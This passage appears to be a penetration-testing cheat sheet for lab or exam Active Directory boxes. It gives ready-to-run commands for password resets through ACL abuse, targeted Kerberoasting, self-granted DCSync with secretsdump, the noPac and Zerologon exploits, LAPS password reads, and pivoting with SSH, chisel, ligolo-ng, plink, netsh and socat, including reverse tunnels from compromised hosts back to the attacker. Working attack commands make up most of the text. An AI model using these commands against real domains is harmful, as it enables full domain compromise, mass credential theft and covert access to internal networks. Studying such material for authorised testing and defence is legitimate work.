net rpc password 'victim' 'NewP@ss1' -U 'box.htb/user%pass' -S $IP
bloodyAD -u user -p pass -d box.htb --host $IP set password victim 'NewP@ss1'
# GenericWrite -> set a fake SPN, Kerberoast, unset (no password change):
targetedKerberoast.py -u user -p pass -d box.htb --dc-ip $IP
  • GenericAll — full control - simplest is to reset their password
  • GenericWrite — write attributes - set a servicePrincipalName and Kerberoast them
  • targetedKerberoast — automates set-SPN -> roast -> clean up

Why: BloodHound's most common winning edge. GenericAll = reset and log in as them; GenericWrite = roast them offline without touching their password (stealthier).

WriteDACL to self-granted DCSync

tags: writedacl, dcsync, active-directory, dacledit, secretsdump, acl

dacledit.py -action write -rights DCSync -principal user -target-dn 'DC=box,DC=htb' box.htb/user:pass -dc-ip $IP
secretsdump.py box.htb/user:pass@$IP -just-dc-ntlm
  • WriteDacl on the domain object — you can edit the domain's own ACL
  • grant -rights DCSync — give your user replication rights
  • secretsdump — then replicate every hash, including krbtgt and Administrator

Why: WriteDacl over the domain head is game over: grant yourself the replication rights and DCSync the whole domain.

noPac (CVE-2021-42278/42287)

tags: nopac, active-directory, cve, sam-spoofing, domain-admin, machineaccountquota

noPac.py box.htb/user:pass -dc-ip $IP -dc-host DC01 --impersonate administrator -shell
  • needs MAQ > 0 — any user who can add a machine account
  • sAMAccountName spoofing — rename your machine to look like the DC, confuse the KDC
  • --impersonate administrator — end up with a SYSTEM shell on the DC

Why: On unpatched DCs this takes any authenticated domain user straight to Domain Admin by abusing how the KDC resolves a spoofed machine-account name.

Zerologon (CVE-2020-1472)

tags: zerologon, active-directory, cve, netlogon, domain-admin, dangerous

# CHECK FIRST (test script only reports, doesn't change anything):
zerologon_tester.py DC01 $IP
# exploit sets the DC machine password to empty, then DCSync:
secretsdump.py -just-dc -no-pass 'box.htb/DC01$'@$IP
  • Netlogon crypto flaw — set the DC$ password to empty, unauthenticated
  • -no-pass DC01$ — then DCSync using the now-empty machine account
  • restore afterward — put the original machine password back or AD breaks

Why: Unauthenticated instant domain takeover on unpatched DCs.

Gotcha: It ZEROES the DC's machine password and can break the domain controller's AD trust. On a lab/exam, exploit only when needed and restore the original password immediately (reset DC$).

LAPS password read

tags: laps, active-directory, local-admin, ldap, nxc

nxc ldap $IP -u user -p pass -M laps
pyLAPS.py --action get -d box.htb -u user -p pass --dc $IP
  • ms-Mcs-AdmPwd — LAPS stores each machine's local admin password in LDAP, in clear
  • read rights — a delegated group can often read it for many machines
  • -M laps — nxc pulls every LAPS password you're allowed to see

Why: If your account (or a group it's in) can read LAPS, you get local administrator on every machine it covers - a fast lateral sweep across the domain.

Pivoting and Tunneling

SSH port forwarding (L / R / D)

tags: ssh, port-forward, pivoting, tunnel, proxychains

ssh -L 8080:127.0.0.1:80 user@$IP     # local: reach target's internal :80 at your :8080
ssh -R 9001:127.0.0.1:9001 user@$IP   # remote: expose YOUR service to the target
ssh -D 1080 user@$IP                  # dynamic: a SOCKS proxy over SSH
  • -L local:host:port — forward a local port to a host reachable FROM the server
  • -R remote:host:port — forward a port on the server back to you
  • -D 1080 — SOCKS proxy - send any tool through the pivot via proxychains

Why: When a foothold can reach a second network you can't, SSH tunnels bridge it with zero extra tooling. -D + proxychains is the most flexible: run nmap/ffuf against the inner net.

proxychains + SOCKS

tags: proxychains, socks, pivoting, tunnel, nmap

# /etc/proxychains4.conf  ->  socks5 127.0.0.1 1080
proxychains -q nmap -sT -Pn -p 445,3389 172.16.0.5
proxychains -q evil-winrm -i 172.16.0.5 -u user -p pass
  • socks5 127.0.0.1 1080 — point proxychains at your tunnel's SOCKS port
  • -sT -Pn — TCP connect + no ping - the only scan types that survive a proxy
  • -q — quiet proxychains' per-connection chatter

Why: The glue that sends ordinary tools through a pivot. Remember: only full TCP-connect works through SOCKS, so no -sS, no UDP, and no ICMP host discovery.

chisel reverse SOCKS

tags: chisel, pivoting, socks, tunnel, reverse

# you (server):
./chisel server -p 8000 --reverse
# target (client):
./chisel client 10.10.14.x:8000 R:socks
  • server --reverse — accept reverse tunnels back to you
  • client ... R:socks — the target dials out and gives you a SOCKS proxy on :1080
  • reverse — the target connects to YOU - survives inbound firewalls

Why: When you can't SSH into the pivot (Windows, no creds), chisel builds the SOCKS tunnel over a single outbound HTTP connection. Pair with proxychains exactly like SSH -D.

ligolo-ng (tun-based pivot)

tags: ligolo, pivoting, tunnel, tun, socks

# you:
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert
# target:
./agent -connect 10.10.14.x:11601 -ignore-cert
  • ip tuntap ... ligolo — create a tun interface for the remote network
  • proxy -selfcert — your listener with a throwaway TLS cert
  • agent -connect — the target connects back; add its subnet as a route

Why: The modern favourite: no proxychains, no SOCKS quirks. After adding a route to the target's subnet, every tool reaches the inner network natively - nmap -sS and all.

Windows netsh port forward

tags: netsh, port-forward, windows, pivoting, portproxy

netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.0.5
  • portproxy add v4tov4 — forward an IPv4 port to another IPv4 host
  • listenport/listenaddress — what to open on the compromised Windows box
  • connectport/connectaddress — the internal host:port to reach

Why: A native Windows pivot when you can't drop chisel/ligolo. Opens a forwarder on the compromised host so you reach a deeper box through it (don't forget the firewall rule).

sshuttle (transparent subnet VPN)

tags: sshuttle, pivoting, ssh, tunnel, subnet

sshuttle -r user@$IP 172.16.0.0/24
sshuttle -r user@$IP 172.16.0.0/24 --dns
  • -r user@$IP — the SSH pivot you have creds on
  • 172.16.0.0/24 — the internal subnet to route through it
  • --dns — also tunnel DNS lookups

Why: The least fiddly pivot when you have SSH on the foothold: it transparently routes a whole subnet over SSH, so every local tool reaches the inner network natively - no proxychains, no SOCKS caveats.

tags: plink, putty, windows, pivoting, port-forward

plink.exe -ssh -R 3389:127.0.0.1:3389 user@10.10.14.x -pw pass
  • plink.exe — PuTTY's command-line SSH client - drop it on the Windows pivot
  • -R 3389:127.0.0.1:3389 — expose the pivot's RDP back to your Kali
  • -pw — password inline (it's a throwaway box)

Why: A pre-chisel way to pivot from a Windows host that has no OpenSSH: plink dials back to an SSH server on your Kali and reverse-forwards an internal port to you.

socat single-port relay

tags: socat, pivoting, port-forward, relay

# on the compromised pivot:
socat TCP-LISTEN:8080,fork,reuseaddr TCP:172.16.0.5:80
  • TCP-LISTEN:8080 — open a port on the pivot
  • fork — handle more than one connection
  • TCP:172.16.0.5:80 — forward everything to the internal host:port

Why: When you only need to reach one internal service and don't want a full tunnel, socat relays a single port through the pivot. Minimal, no config, works anywhere socat runs.